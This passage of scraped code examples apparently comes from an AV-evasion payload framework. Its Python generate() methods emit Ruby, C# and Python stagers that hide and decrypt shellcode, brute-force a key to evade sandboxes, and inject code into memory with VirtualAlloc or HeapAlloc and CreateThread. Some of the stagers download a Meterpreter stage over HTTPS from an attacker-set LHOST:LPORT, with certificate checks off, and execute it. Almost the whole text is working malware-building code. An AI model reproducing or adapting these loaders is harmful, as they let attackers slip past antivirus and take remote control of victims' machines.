            payload_code += "$" + valloc_random + " = API.new('VirtualAlloc', 'IIII', 'I');$" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');$" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');$" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I')\n"
        elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
            payload_code += "$" + heapcreate_random + " = API.new('HeapCreate', 'III', 'I');$" + heapalloc_random + " = API.new('HeapAlloc', 'III', 'I');$" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');$" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');$" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I')\n"

        payload_code += "def ch()\n"
        #payload_code += "\tchk = (\"a\"..\"z\").to_a + (\"A\"..\"Z\").to_a + (\"0\"..\"9\").to_a\n"
        #payload_code += "\t32.times do\n"
        #payload_code += "\t\turi = chk.sample(3).join()\n"
        #payload_code += "\t\tchk.sort_by {rand}.each do |x|\n"
        #payload_code += "\t\t\treturn(uri + x) if (uri + x).unpack(\"C*\").inject(:+) % 0x100 == 92\n"
        #payload_code += "\t\tend\n"
        #payload_code += "\tend\n"
        payload_code += "\treturn \"WEZf\"\n"
        payload_code += "end\n"

        payload_code += "def ij(sc)\n"
        payload_code += "\tif sc.length > 1000\n"

        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
            payload_code += "\t\tpt = $" + valloc_random + ".call(0,(sc.length > 0x1000 ? sc.length : 0x1000), 0x1000, 0x40)\n"
            payload_code += "\t\tx = $" + rtlmove_random + ".call(pt,sc,sc.length)\n"
            payload_code += "\t\tx = $" + waitfor_random + ".call($" + createthread_random + ".call(0,0,pt,0,0,0),0xFFFFFFF)\n"
        elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
            payload_code += "\t\t$" + heap_name + " = $" + heapcreate_random + ".call(0x0004,(sc.length > 0x1000 ? sc.length : 0x1000), 0)\n"
            payload_code += "\t\t$" + ptrName + " = $" + heapalloc_random + ".call($" + heap_name + ", 0x00000008, sc.length)\n"
            payload_code += "\t\tx = $" + rtlmove_random + ".call($" + ptrName + ",sc,sc.length)\n"
            payload_code += "\t\tx = $" + waitfor_random + ".call($" + createthread_random + ".call(0,0,$" + ptrName + ",0,0,0),0xFFFFFFF)\n"

        payload_code += "\tend\nend\n"

        payload_code += "uri = URI.parse(\"https://%s:%s/#{ch()}\")\n" % (
            self.required_options["LHOST"][0],
            self.required_options["LPORT"][0])
        payload_code += "http = Net::HTTP.new(uri.host, uri.port)\n"
        payload_code += "http.use_ssl = true\n"
        payload_code += "http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n"
        payload_code += "request = Net::HTTP::Get.new(uri.request_uri)\n"
        payload_code += "response = http.request(request)\n"
        payload_code += "ij(response.body)\n"

        # Close out all the if statements
        for iteration in range(num_ends_required):
            payload_code += 'end\n'

        self.payload_source_code = payload_code
        return
Exemplo n.º 21
0
    def generate(self):

        # Generate the shellcode
        if not self.cli_shellcode:
            Shellcode = self.shellcode.generate(self.cli_opts)
            if self.shellcode.msfvenompayload:
                self.payload_type = self.shellcode.msfvenompayload
            elif self.shellcode.payload_choice:
                self.payload_type = self.shellcode.payload_choice
                self.shellcode.payload_choice = ''
            # assume custom shellcode
            else:
                self.payload_type = 'custom'
        else:
            Shellcode = self.cli_shellcode
        # Base64 Encode Shellcode
        Shellcode = "0" + ",0".join(Shellcode.split("\\")[1:])
        Shellcode = base64.b64encode(bytes(Shellcode,
                                           'latin-1')).decode('ascii')

        # randomize all our variable names, yo'
        namespaceName = evasion_helpers.randomString()
        className = evasion_helpers.randomString()
        bytearrayName = evasion_helpers.randomString()
        funcAddrName = evasion_helpers.randomString()
        shellcodeName = evasion_helpers.randomString()

        hThreadName = evasion_helpers.randomString()
        threadIdName = evasion_helpers.randomString()
        pinfoName = evasion_helpers.randomString()
        num_tabs_required = 0

        # get 12 random variables for the API imports
        r = [evasion_helpers.randomString() for x in range(12)]
        y = [evasion_helpers.randomString() for x in range(17)]

        #required syntax at the beginning of any/all payloads
        payload_code = "using System; using System.Net; using System.Linq; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Threading;\n"
        payload_code += "namespace %s { class %s  {\n" % (namespaceName,
                                                          className)
        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
            payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 VirtualAlloc(UInt32 %s,UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")]private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s,IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);\n""" % (
                r[0], r[1], r[2], r[3], r[4], r[5], r[6], r[7], r[8], r[9],
                r[10], r[11])
        elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
            payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 HeapCreate(UInt32 %s, UInt32 %s, UInt32 %s); \n[DllImport(\"kernel32\")] private static extern UInt32 HeapAlloc(UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 RtlMoveMemory(UInt32 %s, byte[] %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s, IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);""" % (
                y[0], y[1], y[2], y[3], y[4], y[5], y[6], y[7], y[8], y[9],
                y[10], y[11], y[12], y[13], y[14], y[15], y[16])
        payload_code += "static void Main() {\n"

        payload_code2, num_tabs_required = gamemaker.senecas_games(self)
        payload_code = payload_code + payload_code2
        num_tabs_required += 2

        payload_code += '\t' * num_tabs_required + "string %s = System.Text.ASCIIEncoding.ASCII.GetString(Convert.FromBase64String(\"%s\"));" % (
            bytearrayName, Shellcode)

        payload_code += '\t' * num_tabs_required + "string[] chars = %s.Split(',').ToArray();\n" % (
            bytearrayName)
        payload_code += '\t' * num_tabs_required + "byte[] %s = new byte[chars.Length];\n" % (
            shellcodeName)
        payload_code += '\t' * num_tabs_required + "for (int i = 0; i < chars.Length; ++i) { %s[i] = Convert.ToByte(chars[i], 16); }\n" % (
            shellcodeName)

        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":

            payload_code += '\t' * num_tabs_required + "UInt32 %s = VirtualAlloc(0, (UInt32)%s.Length, 0x1000, 0x40);\n" % (
                funcAddrName, shellcodeName)
            payload_code += '\t' * num_tabs_required + "Marshal.Copy(%s, 0, (IntPtr)(%s), %s.Length);\n" % (
                shellcodeName, funcAddrName, shellcodeName)
            payload_code += '\t' * num_tabs_required + "IntPtr %s = IntPtr.Zero; UInt32 %s = 0; IntPtr %s = IntPtr.Zero;\n" % (
                hThreadName, threadIdName, pinfoName)
            payload_code += '\t' * num_tabs_required + "%s = CreateThread(0, 0, %s, %s, 0, ref %s);\n" % (
                hThreadName, funcAddrName, pinfoName, threadIdName)
            payload_code += '\t' * num_tabs_required + "WaitForSingleObject(%s, 0xFFFFFFFF);}\n" % (
                hThreadName)
            # payload_code += "private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;\n"

        elif self.required_options["INJECT_METHOD"][0].lower() == "heap":

            rand_heap = evasion_helpers.randomString()
            rand_ptr = evasion_helpers.randomString()
            rand_var = evasion_helpers.randomString()

            payload_code += '\t' * num_tabs_required + 'UInt32 {} = HeapCreate(0x00040000, (UInt32){}.Length, 0);\n'.format(
                rand_heap, bytearrayName)
            payload_code += '\t' * num_tabs_required + 'UInt32 {} = HeapAlloc({}, 0x00000008, (UInt32){}.Length);\n'.format(
                rand_ptr, rand_heap, bytearrayName)
            payload_code += '\t' * num_tabs_required + 'RtlMoveMemory({}, {}, (UInt32){}.Length);\n'.format(
                rand_ptr, bytearrayName, bytearrayName)
            payload_code += '\t' * num_tabs_required + 'UInt32 {} = 0;\n'.format(
                rand_var)
            payload_code += '\t' * num_tabs_required + 'IntPtr {} = CreateThread(0, 0, {}, IntPtr.Zero, 0, ref {});\n'.format(
                hThreadName, rand_ptr, rand_var)
            payload_code += '\t' * num_tabs_required + 'WaitForSingleObject({}, 0xFFFFFFFF);}}\n'.format(
                hThreadName)

        while (num_tabs_required != 0):
            payload_code += '\t' * num_tabs_required + '}'
            num_tabs_required -= 1

        if self.required_options["USE_ARYA"][0].lower() == "y":
            payload_code = encryption.arya(payload_code)

        self.payload_source_code = payload_code
        return
Exemplo n.º 22
0
    def generate(self):

        # Generate the variable names
        randctypes = evasion_helpers.randomString()
        ShellcodeVariableName = evasion_helpers.randomString()
        RandPtr = evasion_helpers.randomString()
        RandHt = evasion_helpers.randomString()
        RandEncShellCodePayload = evasion_helpers.randomString()
        known_plaintext_string = evasion_helpers.randomString()
        plaintext_string_variable = evasion_helpers.randomString()
        key_guess = evasion_helpers.randomString()
        secret_key = evasion_helpers.randomString()
        small_constrained_key_variable = evasion_helpers.randomString()
        decoded_ciphertext = evasion_helpers.randomString()
        decoded_known = evasion_helpers.randomString()
        decoded_shellcode = evasion_helpers.randomString()
        RandCipherObject = evasion_helpers.randomString()
        RandPadding = evasion_helpers.randomString()

        # Generate the shellcode
        if not self.cli_shellcode:
            Shellcode = self.shellcode.generate(self.cli_opts)
            if self.shellcode.msfvenompayload:
                self.payload_type = self.shellcode.msfvenompayload
            elif self.shellcode.payload_choice:
                self.payload_type = self.shellcode.payload_choice
                self.shellcode.payload_choice = ''
            # assume custom shellcode
            else:
                self.payload_type = 'custom'
        else:
            Shellcode = self.cli_shellcode

        payload_code, num_tabs_required = gamemaker.senecas_games(self)

        # encrypt the shellcode and get our randomized key
        encoded_ciphertext, constrained_key, encryption_key = encryption.constrained_aes(Shellcode)
        encoded_ciphertext = encoded_ciphertext.decode('ascii')

        # Use the secret we received earlier to encrypt our known plaintext string
        encrypted_plaintext_string = encryption.known_plaintext(encryption_key, known_plaintext_string)
        encrypted_plaintext_string = encrypted_plaintext_string.decode('ascii')

        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":

            # Create Payload code
            payload_code += '\t' * num_tabs_required + 'import ctypes as ' + randctypes + '\n'
            payload_code += '\t' * num_tabs_required + 'from Crypto.Cipher import AES\n'
            payload_code += '\t' * num_tabs_required + 'import base64\n'
            payload_code += '\t' * num_tabs_required + 'import os\n'
            payload_code += '\t' * num_tabs_required + small_constrained_key_variable + ' = \'' + constrained_key + '\'\n'
            payload_code += '\t' * num_tabs_required + RandPadding + ' = \'*\'\n'
            payload_code += '\t' * num_tabs_required + 'for ' + key_guess + ' in range(1000000, 10000000):\n'
            payload_code += '\t' * num_tabs_required + '\t' + secret_key + " = \"" + constrained_key + '\" + str(' + key_guess + ')\n'
            payload_code += '\t' * num_tabs_required + '\t' + RandCipherObject + ' = AES.new(\'' + encryption_key + '\', AES.MODE_ECB)\n'
            payload_code += '\t' * num_tabs_required + '\t' + decoded_ciphertext + ' = base64.b64decode(\'' + encrypted_plaintext_string + '\')\n'
            payload_code += '\t' * num_tabs_required + '\t' + decoded_known + ' = ' + RandCipherObject + '.decrypt(' + decoded_ciphertext + ').decode(\'ascii\')\n'
            payload_code += '\t' * num_tabs_required + '\t' + 'if ' + decoded_known + '.rstrip(\'*\') == \'' + known_plaintext_string + '\':\n'
            payload_code += '\t' * num_tabs_required + '\t\t' + decoded_shellcode + ' = base64.b64decode(\'' + encoded_ciphertext + '\')\n'
            payload_code += '\t' * num_tabs_required + '\t\t' + ShellcodeVariableName + ' = ' + RandCipherObject + '.decrypt(' + decoded_shellcode + ')\n'
            payload_code += '\t' * num_tabs_required + '\t\t' + RandPtr + ' = ' + randctypes + '.windll.kernel32.VirtualAlloc(' + randctypes + '.c_int(0),' + randctypes + '.c_int(len('+ ShellcodeVariableName +')),' + randctypes + '.c_int(0x3000),' + randctypes + '.c_int(0x40))\n'
            payload_code += '\t' * num_tabs_required + '\t\t' + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + RandPtr + '),' + ShellcodeVariableName + ',' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')))\n'
            payload_code += '\t' * num_tabs_required + '\t\t' + RandHt + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + RandPtr + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n'
            payload_code += '\t' * num_tabs_required + '\t\t' + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + RandHt + '),' + randctypes + '.c_int(-1))\n'

        elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
            HeapVar = evasion_helpers.randomString()

            payload_code += '\t' * num_tabs_required + 'import ctypes as ' + randctypes + '\n'
            payload_code += '\t' * num_tabs_required + 'from Crypto.Cipher import AES\n'
            payload_code += '\t' * num_tabs_required + 'import base64\n'
            payload_code += '\t' * num_tabs_required + 'import os\n'
            payload_code += '\t' * num_tabs_required + small_constrained_key_variable + ' = \'' + constrained_key + '\'\n'
            payload_code += '\t' * num_tabs_required + RandPadding + ' = \'*\'\n'
            payload_code += '\t' * num_tabs_required + 'for ' + key_guess + ' in range(1000000, 10000000):\n'
            payload_code += '\t' * num_tabs_required + '\t' + secret_key + " = \'" + constrained_key + '\' + str(' + key_guess + ')\n'
            payload_code += '\t' * num_tabs_required + '\t' + RandCipherObject + ' = AES.new(\'' + encryption_key + '\', AES.MODE_ECB)\n'
            payload_code += '\t' * num_tabs_required + '\t' + decoded_ciphertext + ' = base64.b64decode(\'' + encrypted_plaintext_string + '\')\n'
            payload_code += '\t' * num_tabs_required + '\t' + decoded_known + ' = ' + RandCipherObject + '.decrypt(' + decoded_ciphertext + ').decode(\'ascii\')\n'
            payload_code += '\t' * num_tabs_required + '\t' + 'if ' + decoded_known + '.rstrip(\'*\') == \'' + known_plaintext_string + '\':\n'
            payload_code += '\t' * num_tabs_required + '\t\t' + decoded_shellcode + ' = base64.b64decode(\'' + encoded_ciphertext + '\')\n'
            payload_code += '\t' * num_tabs_required + '\t\t' + ShellcodeVariableName + ' = ' + RandCipherObject + '.decrypt(' + decoded_shellcode + ')\n'
            payload_code += '\t' * num_tabs_required + '\t\t' + HeapVar + ' = ' + randctypes + '.windll.kernel32.HeapCreate(' + randctypes + '.c_int(0x00040000),' + randctypes + '.c_int(len(' + ShellcodeVariableName + ') * 2),' + randctypes + '.c_int(0))\n'
            payload_code += '\t' * num_tabs_required + '\t\t' + RandPtr + ' = ' + randctypes + '.windll.kernel32.HeapAlloc(' + randctypes + '.c_int(' + HeapVar + '),' + randctypes + '.c_int(0x00000008),' + randctypes + '.c_int(len( ' + ShellcodeVariableName + ')))\n'
            payload_code += '\t' * num_tabs_required + '\t\t' + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + RandPtr + '),' + ShellcodeVariableName + ',' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')))\n'
            payload_code += '\t' * num_tabs_required + '\t\t' + RandHt + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + RandPtr + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n'
            payload_code += '\t' * num_tabs_required + '\t\t' + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + RandHt + '),' + randctypes + '.c_int(-1))\n'

        if self.required_options["USE_PYHERION"][0].lower() == "y":
            payload_code = encryption.pyherion(payload_code)

        self.payload_source_code = payload_code
        return
Exemplo n.º 23
0
    def generate(self):

        # randomize everything, yo'
        sumMethodName = evasion_helpers.randomString()
        checkinMethodName = evasion_helpers.randomString()

        randLettersName = evasion_helpers.randomString()
        randLetterSubName = evasion_helpers.randomString()
        randBaseName = evasion_helpers.randomString()

        downloadMethodName = evasion_helpers.randomString()
        hostName = evasion_helpers.randomString()
        portName = evasion_helpers.randomString()
        requestName = evasion_helpers.randomString()
        tName = evasion_helpers.randomString()

        injectMethodName = evasion_helpers.randomString()
        dataName = evasion_helpers.randomString()
        byteArrayName = evasion_helpers.randomString()
        ptrName = evasion_helpers.randomString()
        bufName = evasion_helpers.randomString()
        handleName = evasion_helpers.randomString()
        data2Name = evasion_helpers.randomString()
        proxy_var = evasion_helpers.randomString()
        opener_var = evasion_helpers.randomString()
        randctypes = evasion_helpers.randomString()

        # How I'm tracking the number of nested tabs needed
        # to make the payload
        num_tabs_required = 0
        payload_code = "import urllib.request, string, random, struct, time, ssl, ctypes as " + randctypes + "\n"

        payload_code2, num_tabs_required = gamemaker.senecas_games(self)
        payload_code = payload_code + payload_code2

        # helper method that returns the sum of all ord values in a string % 0x100
        payload_code += "ssl._create_default_https_context = ssl._create_unverified_context\n"
        payload_code += "def %s(s): return sum([ord(ch) for ch in s]) %% 0x100\n" % (
            sumMethodName)

        # method that generates a new checksum value for checkin to the meterpreter handler
        payload_code += "def %s():\n\tfor x in range(64):\n" % (
            checkinMethodName)
        payload_code += "\t\t%s = ''.join(random.sample(string.ascii_letters + string.digits,3))\n" % (
            randBaseName)
        payload_code += "\t\t%s = ''.join(sorted(list(string.ascii_letters+string.digits), key=lambda *args: random.random()))\n" % (
            randLettersName)
        payload_code += "\t\tfor %s in %s:\n" % (randLetterSubName,
                                                 randLettersName)
        payload_code += "\t\t\tif %s(%s + %s) == 92: return %s + %s\n" % (
            sumMethodName, randBaseName, randLetterSubName, randBaseName,
            randLetterSubName)

        # method that connects to a host/port over https and downloads the hosted data
        payload_code += "def %s(%s,%s):\n" % (downloadMethodName, hostName,
                                              portName)
        payload_code += "\t" + proxy_var + " = urllib.request.ProxyHandler({})\n"
        payload_code += "\t" + opener_var + " = urllib.request.build_opener(" + proxy_var + ")\n"
        payload_code += "\turllib.request.install_opener(" + opener_var + ")\n"
        payload_code += '\t' * num_tabs_required + "\t" + requestName + " = urllib.request.Request(\"https://\" + " + hostName + " + \":\" + str(" + portName + ") + \"/\" + " + checkinMethodName + "(), None, {'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)'})\n"
        payload_code += "\ttry:\n"
        payload_code += "\t\t%s = urllib.request.urlopen(%s)\n" % (tName,
                                                                   requestName)
        payload_code += "\t\ttry:\n"
        payload_code += "\t\t\tif int(%s.info()[\"Content-Length\"]) > 100000: return %s.read()\n" % (
            tName, tName)
        payload_code += "\t\t\telse: return ''\n"
        payload_code += "\t\texcept: return %s.read()\n" % (tName)
        payload_code += "\texcept urllib.request.URLError: return ''\n"

        # method to inject a reflective .dll into memory
        payload_code += "def %s(%s):\n" % (injectMethodName, dataName)
        payload_code += "\tif %s != \"\":\n" % (dataName)
        payload_code += "\t\t%s = bytearray(%s)\n" % (byteArrayName, dataName)

        if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
            payload_code += '\t' * num_tabs_required + "\t\t" + ptrName + " = " + randctypes + ".windll.kernel32.VirtualAlloc(" + randctypes + ".c_int(0)," + randctypes + ".c_int(len(" + byteArrayName + ")), " + randctypes + ".c_int(0x3000)," + randctypes + ".c_int(0x40))\n"
            payload_code += '\t' * num_tabs_required + "\t\t" + bufName + " = (" + randctypes + ".c_char * len(" + byteArrayName + ")).from_buffer(" + byteArrayName + ")\n"
            payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + ".windll.kernel32.RtlMoveMemory(" + randctypes + ".c_int(" + ptrName + ")," + bufName + ", " + randctypes + ".c_int(len(" + byteArrayName + ")))\n"
            payload_code += '\t' * num_tabs_required + "\t\t" + handleName + " = " + randctypes + ".windll.kernel32.CreateThread(" + randctypes + ".c_int(0)," + randctypes + ".c_int(0)," + randctypes + ".c_int(" + ptrName + ")," + randctypes + ".c_int(0)," + randctypes + ".c_int(0)," + randctypes + ".pointer(" + randctypes + ".c_int(0)))\n"
            payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + ".windll.kernel32.WaitForSingleObject(" + randctypes + ".c_int(" + handleName + ")," + randctypes + ".c_int(-1))\n"

        # Assuming heap injection
        else:
            HeapVar = evasion_helpers.randomString()

            payload_code += '\t' * num_tabs_required + "\t\t" + HeapVar + ' = ' + randctypes + '.windll.kernel32.HeapCreate(' + randctypes + '.c_int(0x00040000),' + randctypes + '.c_int(len(' + byteArrayName + ') * 2),' + randctypes + '.c_int(0))\n'
            payload_code += '\t' * num_tabs_required + "\t\t" + ptrName + ' = ' + randctypes + '.windll.kernel32.HeapAlloc(' + randctypes + '.c_int(' + HeapVar + '),' + randctypes + '.c_int(0x00000008),' + randctypes + '.c_int(len( ' + byteArrayName + ')))\n'
            payload_code += '\t' * num_tabs_required + "\t\t" + bufName + ' = (' + randctypes + '.c_char * len(' + byteArrayName + ')).from_buffer(' + byteArrayName + ')\n'
            payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + ptrName + '),' + bufName + ',' + randctypes + '.c_int(len(' + byteArrayName + ')))\n'
            payload_code += '\t' * num_tabs_required + "\t\t" + handleName + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + ptrName + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n'
            payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + handleName + '),' + randctypes + '.c_int(-1))\n'

        # download the metpreter .dll and inject it
        payload_code += "%s = ''\n" % (data2Name)
        payload_code += "%s = %s(\"%s\", %s)\n" % (
            data2Name, downloadMethodName, self.required_options["LHOST"][0],
            self.required_options["LPORT"][0])
        payload_code += "%s(%s)\n" % (injectMethodName, data2Name)

        if self.required_options["USE_PYHERION"][0].lower() == "y":
            payload_code = encryption.pyherion(payload_code)

        self.payload_source_code = payload_code
        return